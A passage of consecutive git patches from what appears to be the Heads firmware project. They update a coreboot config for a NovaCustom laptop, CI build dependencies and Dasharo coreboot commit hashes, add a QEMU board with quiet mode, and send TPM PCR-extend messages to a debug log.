is not set +CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set @@ -79,6 +80,7 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set @@ -147,6 +149,7 @@ CONFIG_TPM_PIRQ=0x27 # CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y +CONFIG_EC_SYSTEM76_EC_FLASH_SIZE=0x20000 CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 CONFIG_ECAM_MMCONF_BUS_NUMBER=256 CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" @@ -161,7 +164,6 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=9 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_USE_LEGACY_8254_TIMER is not set @@ -191,7 +193,7 @@ CONFIG_PCIEXP_L1_SUB_STATE=y CONFIG_PCIEXP_CLK_PM=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x10000 +CONFIG_FSP_TEMP_RAM_SIZE=0x20000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -207,6 +209,7 @@ CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set CONFIG_COREBOOT_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=32768 @@ -233,7 +236,6 @@ CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_FSP_TEMP_RAM_SIZE=0x20000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe03e000 CONFIG_SMM_TSEG_SIZE=0x800000 @@ -243,6 +245,8 @@ CONFIG_ACPI_BERT=y CONFIG_ACPI_BERT_SIZE=0x10000 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_SOC_INTEL_ALDERLAKE=y @@ -273,12 +277,11 @@ CONFIG_SOC_INTEL_UART_DEV_MAX=7 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x25a CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0x7fff CONFIG_FSP_HEADER_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Include/" -CONFIG_FSP_FD_PATH="3rdparty/fsp/AlderLakeFspBinPkg/Client/AlderLakeP/Fsp.fd" +CONFIG_FSP_FD_PATH="3rdparty/fsp/RaptorLakeFspBinPkg/Client/RaptorLakeP/Fsp.fd" CONFIG_SOC_INTEL_ALDERLAKE_DEBUG_CONSENT=0 CONFIG_DATA_BUS_WIDTH=128 CONFIG_DIMMS_PER_CHANNEL=2 CONFIG_MRC_CHANNEL_WIDTH=16 -CONFIG_ACPI_ADL_IPU_ES_SUPPORT=y CONFIG_ALDERLAKE_ENABLE_SOC_WORKAROUND=y CONFIG_SI_DESC_REGION="SI_DESC" CONFIG_SI_DESC_REGION_SZ=4096 @@ -295,9 +298,11 @@ CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HAVE_PAM0_REGISTER=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 +CONFIG_CPU_MAX_TEMPERATURE=100 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_INTEL_TME=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 @@ -382,6 +387,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y CONFIG_SOC_INTEL_COMMON_BLOCK_MEMINIT=y CONFIG_SOC_INTEL_COMMON_BLOCK_OC_WDT=y # CONFIG_SOC_INTEL_COMMON_OC_WDT_ENABLE is not set +# CONFIG_SOC_INTEL_COMMON_OC_WDT_WDAT is not set CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE_RTD3=y @@ -403,10 +409,8 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_TCSS=y -# CONFIG_ENABLE_TCSS_DISPLAY_DETECTION is not set -# CONFIG_ENABLE_TCSS_USB_DETECTION is not set +# CONFIG_TCSS_HAS_USBC_OPS is not set CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_BEHIND_PMC=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -416,6 +420,8 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_USB4=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_PCIE=y CONFIG_SOC_INTEL_COMMON_BLOCK_USB4_XHCI=y CONFIG_SOC_INTEL_ENABLE_USB4_PCIE_RESOURCES=y +CONFIG_FIRMWARE_CONNECTION_MANAGER=y +# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set CONFIG_SOC_INTEL_COMMON_BLOCK_VTD=y # CONFIG_ENABLE_EARLY_DMA_PROTECTION is not set CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y @@ -437,7 +443,6 @@ CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y # Intel SoC Common coreboot stages and non-IP blocks # CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y CONFIG_SOC_INTEL_COMMON_RESET=y CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y CONFIG_PAVP=y @@ -507,6 +512,7 @@ CONFIG_RCBA_LENGTH=0x4000 CONFIG_EC_ACPI=y CONFIG_EC_SYSTEM76_EC=y CONFIG_EC_SYSTEM76_EC_DGPU=y +# CONFIG_EC_SYSTEM76_EC_UPDATE is not set # # Intel Firmware @@ -533,6 +539,7 @@ CONFIG_BIOS_VENDOR="3mdeb" # Dasharo Configuration # CONFIG_DASHARO_PREFER_S3_SLEEP=y +# CONFIG_DASHARO_FIRMWARE_UPDATE_MODE is not set # end of Dasharo Configuration CONFIG_UDK_BASE=y @@ -549,7 +556,10 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_CUSTOM_BOOTMEDIA=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 CONFIG_PC80_SYSTEM=y CONFIG_HAVE_CMOS_DEFAULT=y CONFIG_POSTCAR_STAGE=y @@ -586,7 +596,7 @@ CONFIG_BOOTSPLASH=y CONFIG_PCI=y CONFIG_ECAM_MMCONF_SUPPORT=y CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x10000000 @@ -597,8 +607,6 @@ CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -668,7 +676,12 @@ CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y CONFIG_FSP_ENABLE_SERIAL_DEBUG=y CONFIG_FSP_MULTIPHASE_SI_INIT_RETURN_BROKEN=y CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" CONFIG_INTEL_GMA_OPREGION_2_1=y +CONFIG_INTEL_GMA_VERSION_2=y CONFIG_DRIVERS_INTEL_PMC=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set @@ -680,6 +693,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V2=y CONFIG_DRIVERS_INTEL_USB4_RETIMER=y @@ -720,6 +734,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -739,6 +754,7 @@ CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y # CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_LOCK_WPRO_VBOOT_RO is not set # CONFIG_BOOTMEDIA_SMM_BWP is not set # end of Security @@ -753,6 +769,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -816,6 +833,13 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" + +# +# Dasharo specific payload options +# +# end of Dasharo specific payload options + +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -840,6 +864,10 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # # CONFIG_DISPLAY_MTRRS is not set +# +# Vendorcode Debug Settings +# + # # BLOB Debug Settings # From 1dba3e932f4c08ffa42f2b4391fe4629b8d249c3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 11 Dec 2024 15:55:09 -0500 Subject: [PATCH 382/619] CircleCI v560tu/v540tu: build atop x230-hotp-maximized workspace cache to reuse 24.02.01 coreboot buildstack, no point waiting for novacustom_nv4x_adl to be built. Gonna clear cache for next run and build clean Signed-off-by: Thierry Laurion --- .circleci/config.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 478f6e385..7fc499389 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -519,18 +519,18 @@ workflows: - novacustom_nv4x_adl - build: - name: novacustom-v5460tu + name: novacustom-v560tu target: novacustom-v560tu subcommand: "" requires: - - novacustom_nv4x_adl + - x230-hotp-maximized - build: name: novacustom-v540tu target: novacustom-v540tu subcommand: "" requires: - - novacustom_nv4x_adl + - x230-hotp-maximized # coreboot 4.11 From f1299c1ce792d3bfc8675c84b519aabefabf7d1d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 18 Dec 2024 14:09:52 +0100 Subject: [PATCH 383/619] modules/coreboot: update for HAP disable fix MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index ff7815e2f..98d581ae1 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -94,7 +94,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and NovaCustom NV4xPZ, NS5xPU, V540TU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := 9ead4a0789595fc6b6b0327e168088893b6ea592 +coreboot-dasharo_commit_hash := b8507b565918ddb68e3b2291cd3a8ce7044d2115 $(eval $(call coreboot_module,dasharo,24.02.01)) coreboot-dasharo_patch_version := unreleased From 3f8a0df0288bbd3f34df5d33f5a572068194e66a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 18 Dec 2024 16:29:33 +0100 Subject: [PATCH 384/619] modules/coreboot: bump dasharo fork for FSP submodule fix MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 98d581ae1..16aa7d7b7 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -94,7 +94,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and NovaCustom NV4xPZ, NS5xPU, V540TU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := b8507b565918ddb68e3b2291cd3a8ce7044d2115 +coreboot-dasharo_commit_hash := 87852b0f89f998ac046e801ae26c6d2cfe85afe7 $(eval $(call coreboot_module,dasharo,24.02.01)) coreboot-dasharo_patch_version := unreleased From 496d93031ec61f03f1e18109bd617c121868655c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 27 Nov 2024 11:54:58 -0500 Subject: [PATCH 385/619] qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet board: addition of board containing 'export CONFIG_QUIET_MODE=y' for output comparison between debug, prod and quiet mode Signed-off-by: Thierry Laurion --- ...oot-fbwhiptail-tpm2-hotp-prod_quiet.config | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config new file mode 100644 index 000000000..cf8491f58 --- /dev/null +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet/qemu-coreboot-fbwhiptail-tpm2-hotp-prod_quiet.config @@ -0,0 +1,99 @@ +# Configuration for building a coreboot ROM that works in +# the qemu emulator in graphical mode thanks to FBWhiptail +# This version requires a supported HOTP Security dongle (Nitrokey Pro/Storage or Librem Key) +# +# TPM can be used with a qemu software TPM (TIS, 2.0). +export CONFIG_COREBOOT=y +export CONFIG_COREBOOT_VERSION=24.02.01 +export CONFIG_LINUX_VERSION=6.1.8 + +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config +CONFIG_LINUX_CONFIG=config/linux-qemu.config + +#Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) +#export CONFIG_RESTRICTED_BOOT=y +#export CONFIG_BASIC=y + +#Enable HAVE_GPG_KEY_BACKUP to test GPG key backup drive (we cannot inject config under QEMU (no internal flashing)) +#export CONFIG_HAVE_GPG_KEY_BACKUP=y + +#Enable DEBUG output +#export CONFIG_DEBUG_OUTPUT=y +#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y +#Enable TPM2 pcap output under /tmp +#export CONFIG_TPM2_CAPTURE_PCAP=y + +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y + +#On-demand hardware support (modules.cpio) +CONFIG_LINUX_USB=y +CONFIG_LINUX_E1000=y +#CONFIG_MOBILE_TETHERING=y +#Runtime on-demand additional hardware support (modules.cpio) +export CONFIG_LINUX_USB_COMPANION_CONTROLLER=y + + + +#Modules packed into tools.cpio +ifeq "$(CONFIG_UROOT)" "y" +CONFIG_BUSYBOX=n +else +#Modules packed into tools.cpio +CONFIG_CRYPTSETUP2=y +CONFIG_FLASHPROG=y +CONFIG_FLASHTOOLS=y +CONFIG_GPG2=y +CONFIG_KEXEC=y +CONFIG_UTIL_LINUX=y +CONFIG_LVM2=y +CONFIG_MBEDTLS=y +CONFIG_PCIUTILS=y +#Runtime tools to write to MSR +CONFIG_MSRTOOLS=y +#Remote attestation support +# TPM2 requirements +CONFIG_TPM2_TSS=y +CONFIG_OPENSSL=y +#Remote Attestation common tools +CONFIG_POPT=y +CONFIG_QRENCODE=y +CONFIG_TPMTOTP=y +#HOTP based remote attestation for supported USB Security dongle +#With/Without TPM support +CONFIG_HOTPKEY=y +#Nitrokey Storage admin tool (deprecated) +#CONFIG_NKSTORECLI=n +#GUI Support +#Console based Whiptail support(Console based, no FB): +#CONFIG_SLANG=y +#CONFIG_NEWT=y +#FBWhiptail based (Graphical): +CONFIG_CAIRO=y +CONFIG_FBWHIPTAIL=y +#Additional tools (tools.cpio): +#SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) +CONFIG_DROPBEAR=y +endif + +#Runtime configuration +#Automatically boot if HOTP is valid +export CONFIG_AUTO_BOOT_TIMEOUT=5 +#TPM2 requirements +export CONFIG_TPM2_TOOLS=y +export CONFIG_PRIMARY_KEY_TYPE=ecc +#TPM1 requirements +#export CONFIG_TPM=y +export CONFIG_BOOTSCRIPT=/bin/gui-init +#text-based original init: +#export CONFIG_BOOTSCRIPT=/bin/generic-init +export CONFIG_BOOT_REQ_HASH=n +export CONFIG_BOOT_REQ_ROLLBACK=n +export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" +export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" +export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" +export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" +#export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" +export CONFIG_AUTO_BOOT_TIMEOUT=5 + +BOARD_TARGETS := qemu From 1f029123e9a501a513352b6b97351251e405085a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 27 Nov 2024 10:38:37 -0500 Subject: [PATCH 386/619] initrd bin/* sbin/insmod + /etc/ash_functions: TPM extend operations now all passed to LOG (quiet mode doesn't show them and logs them to /tmp/debug.log) Signed-off-by: Thierry Laurion --- initrd/bin/cbfs-init | 6 ++---- initrd/bin/kexec-insert-key | 2 +- initrd/bin/kexec-select-boot | 2 +- initrd/bin/qubes-measure-luks | 2 +- initrd/bin/tpmr | 6 +++--- initrd/etc/ash_functions | 13 +++++++++++-- initrd/sbin/insmod | 6 +++--- 7 files changed, 22 insertions(+), 15 deletions(-) diff --git a/initrd/bin/cbfs-init b/initrd/bin/cbfs-init index c54991f41..d89effe5e 100755 --- a/initrd/bin/cbfs-init +++ b/initrd/bin/cbfs-init @@ -17,12 +17,12 @@ for cbfsname in `echo $cbfsfiles`; do if [ ! -z "$filename" ]; then mkdir -p `dirname $filename` \ || die "$filename: mkdir failed" - echo "Extracting CBFS file $cbfsname into $filename" + LOG "Extracting CBFS file $cbfsname into $filename" cbfs -t 50 $CBFS_ARG -r $cbfsname > "$filename" \ || die "$filename: cbfs file read failed" if [ "$CONFIG_TPM" = "y" ]; then TRACE_FUNC - echo "TPM: Extending PCR[$CONFIG_PCR] with $filename" + LOG "TPM: Extending PCR[$CONFIG_PCR] with filename $filename and then its content" # Measure both the filename and its content. This # ensures that renaming files or pivoting file content # will still affect the resulting PCR measurement. @@ -32,5 +32,3 @@ for cbfsname in `echo $cbfsfiles`; do fi fi done - -# TODO: copy CBFS file named "heads/initrd.tgz" to /tmp, measure and extract diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index 0028e348e..ca5db6a57 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -66,7 +66,7 @@ fi # Override PCR 4 so that user can't read the key TRACE_FUNC -echo "TPM: Extending PCR[4] to prevent any future secret unsealing" +LOG "TPM: Extending PCR[4] to prevent any future secret unsealing" tpmr extend -ix 4 -ic generic || die 'Unable to scramble PCR' diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index b3b55c302..bdda8aaf8 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -385,7 +385,7 @@ while true; do if [ ! -r "$TMP_KEY_DEVICES" ]; then # Extend PCR4 as soon as possible TRACE_FUNC - DEBUG "TPM: Extending PCR[4] to prevent further secret unsealing" + LOG "TPM: Extending PCR[4] to prevent further secret unsealing" tpmr extend -ix 4 -ic generic || die "Failed to extend TPM PCR[4]" fi diff --git a/initrd/bin/qubes-measure-luks b/initrd/bin/qubes-measure-luks index bef6fb102..cc94c9c81 100755 --- a/initrd/bin/qubes-measure-luks +++ b/initrd/bin/qubes-measure-luks @@ -20,6 +20,6 @@ DEBUG "Removing /tmp/lukshdr-*" rm /tmp/lukshdr-* TRACE_FUNC -echo "TPM: Extending PCR[6] with hash of LUKS headers from /tmp/luksDump.txt" +LOG "TPM: Extending PCR[6] with hash of LUKS headers from /tmp/luksDump.txt" tpmr extend -ix 6 -if /tmp/luksDump.txt || die "Unable to extend PCR" diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 78b71ea1f..5adb48253 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -258,7 +258,7 @@ tpm2_extend() { esac done tpm2 pcrextend "$index:sha256=$hash" - tpm2 pcrread "sha256:$index" + LOG $(tpm2 pcrread "sha256:$index" 2>&1) TRACE_FUNC DEBUG "TPM: Extended PCR[$index] with hash $hash" @@ -786,7 +786,7 @@ if [ "$CONFIG_TPM2_TOOLS" != "y" ]; then fi TRACE_FUNC - DEBUG "TPM: Extending PCR[$3] with hash $hash" + LOG "TPM: Extending PCR[$3] with hash $hash" DO_WITH_DEBUG exec tpm "$@" ;; seal) @@ -828,7 +828,7 @@ calcfuturepcr) ;; extend) TRACE_FUNC - DEBUG "TPM: Extending PCR[$2] with $4" + LOG "TPM: Extending PCR[$2] with $4" tpm2_extend "$@" ;; counter_read) diff --git a/initrd/etc/ash_functions b/initrd/etc/ash_functions index bf2e32896..735c8760c 100644 --- a/initrd/etc/ash_functions +++ b/initrd/etc/ash_functions @@ -39,7 +39,16 @@ TRACE() { # Write directly to the debug log (but not kmsg), never appears on console LOG() { - echo "LOG: $*" >>/tmp/debug.log + # if not CONFIG_QUIET_MODE=y, output to console. If not, output to debug.log + if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then + DEBUG "$*" + elif [ "$CONFIG_QUIET_MODE" = "y" ]; then + # if in quiet mode, output solely to debug.log + echo "$*" >> /tmp/debug.log + else + # if not in quiet mode, output to console + echo "$*" + fi } fw_version() { @@ -241,7 +250,7 @@ recovery() { DEBUG "Board $CONFIG_BOARD - version $(fw_version)" if [ "$CONFIG_TPM" = "y" ]; then - echo "TPM: Extending PCR[4] to prevent any further secret unsealing" + LOG "TPM: Extending PCR[4] to prevent any further secret unsealing" tpmr extend -ix 4 -ic recovery fi diff --git a/initrd/sbin/insmod b/initrd/sbin/insmod index 359bf68f6..95e2303c6 100755 --- a/initrd/sbin/insmod +++ b/initrd/sbin/insmod @@ -39,19 +39,19 @@ if [ ! -r /sys/class/tpm/tpm0/pcrs -o ! -x /bin/tpm ]; then fi if [ -z "$tpm_missing" ]; then - echo "TPM: Extending PCR[$MODULE_PCR] with $MODULE and parameters '$*' before loading" + LOG "TPM: Extending PCR[$MODULE_PCR] with $MODULE and parameters '$*' before loading" # Extend with the module parameters (even if they are empty) and the # module. Changing the parameters or the module content will result in a # different PCR measurement. if [ -n "$*" ]; then TRACE_FUNC - DEBUG "Extending with module parameters and the module's content" + LOG "Extending with module parameters and the module's content" tpmr extend -ix "$MODULE_PCR" -ic "$*" tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ || die "$MODULE: tpm extend failed" else TRACE_FUNC - DEBUG "No module parameters, extending only with the module's content" + LOG "No module parameters, extending only with the module's content" tpmr extend -ix "$MODULE_PCR" -if "$MODULE" \ || die "$MODULE: tpm extend failed" fi From 9cd4757e4a36d2450f7280f1d77f01c9b6fb671d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 27 Nov 2024 13:17:56 -0500 Subject: [PATCH 387/619] init: suppress /etc/config.user not existing on grep calls Signed-off-by: Thierry Laurion --- initrd/init | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/initrd/init b/initrd/init index 55a894a79..6959424e3 100755 --- a/initrd/init +++ b/initrd/init @@ -125,6 +125,7 @@ if [ "$CONFIG_LINUXBOOT" = "y" ]; then fi # Set GPG_TTY before calling gpg in key-init +#TODO: do better then this; on dual console gpg only interacts with main console (affects Talos-2 and all whiptail variants) export GPG_TTY=/dev/console # Initialize gpnupg with distro/user keys and setup the keyrings @@ -144,10 +145,10 @@ fi # changing the value for the rest of the scripts which source /tmp/config. #Only set CONFIG_TPM and CONFIG_TPM2_TOOLS if they are not already set in /etc/config.user -if ! grep -q 'CONFIG_TPM=' /etc/config.user; then +if ! grep -q 'CONFIG_TPM=' /etc/config.user 2>/dev/null; then echo "export CONFIG_TPM=\"$CONFIG_TPM\"" >> /etc/config.user fi -if ! grep -q 'CONFIG_TPM2_TOOLS=' /etc/config.user; then +if ! grep -q 'CONFIG_TPM2_TOOLS=' /etc/config.user 2> /dev/null; then echo "export CONFIG_TPM2_TOOLS=\"$CONFIG_TPM2_TOOLS\"" >> /etc/config.user fi From e03a7906495ae1a466b0e8817c0b4e22b50c6838 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 27 Nov 2024 13:27:13 -0500 Subject: [PATCH 388/619] init: inform user that running in quiet mode, tell user that technical information can be seen running 'cat /tmp/debug.log' from Recovery Shell Signed-off-by: Thierry Laurion --- initrd/init | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/initrd/init b/initrd/init index 6959424e3..83ea659cf 100755 --- a/initrd/init +++ b/initrd/init @@ -59,6 +59,11 @@ hwclock -l -s . /etc/ash_functions . /etc/config +# report if we are in quiet mode, tell logs available under /tmp/debug.log +if [ "$CONFIG_QUIET_MODE" = "y" ]; then + echo "Quiet mode enabled. To see technical output, do 'cat /tmp/debug.log' from Recovery Shell!" > /dev/tty0 +fi + # Board config had CONFIG_DEBUG_OUTPUT=y defined. # Note that boards's coreboot config kernel command line "debug" option only will have all kernel messages output on console prior of this point if [ "$CONFIG_DEBUG_OUTPUT" = "y" ]; then 